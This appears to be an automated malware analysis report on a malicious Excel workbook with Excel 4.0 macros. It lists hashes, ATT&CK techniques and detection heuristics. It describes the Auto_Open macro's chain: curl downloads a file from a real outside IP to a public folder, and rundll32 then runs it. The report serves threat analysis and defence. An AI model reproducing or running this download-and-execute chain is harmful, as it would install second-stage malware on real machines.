Office (OLE) / .XLSX malware analysis — malicious · 474e3162c1e5395e

MALICIOUS

Office (OLE) / .XLSX

49.0 KB Created: 2021-08-18 19:44:34 Authoring application: Microsoft Excel

MD5: ecc41642ff7df4765ea8be32a00e83b8 SHA-1: 8e5b2914cd384a28566eb63a803299407c482b31 SHA-256: 474e3162c1e5395e2b90bbc816c0efeaa8df04d66cb8552ac10161ff51a94830

222 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic for Applications T1204.002 Malicious File T1059.001 PowerShell T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, specifically an Auto_Open macro, which is a strong indicator of malicious intent. The macro is designed to execute a command that downloads a file from 'http://91.92.109.16/images/redtank.png' to 'c:\users\public\test.png' using curl. It then attempts to execute the downloaded file using 'rundll32 c:\users\public\test.png ,klust'. The presence of the 'curl' command and the subsequent execution attempt strongly suggest this is a downloader for a second-stage payload.

Heuristics 7

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN

Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://91.92.109.16/images/redtank.png

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0cbe9d7980a3279ec1da20054891b21be5ceecac0d613a2b65ed89c5cb44084d`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	3652 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).

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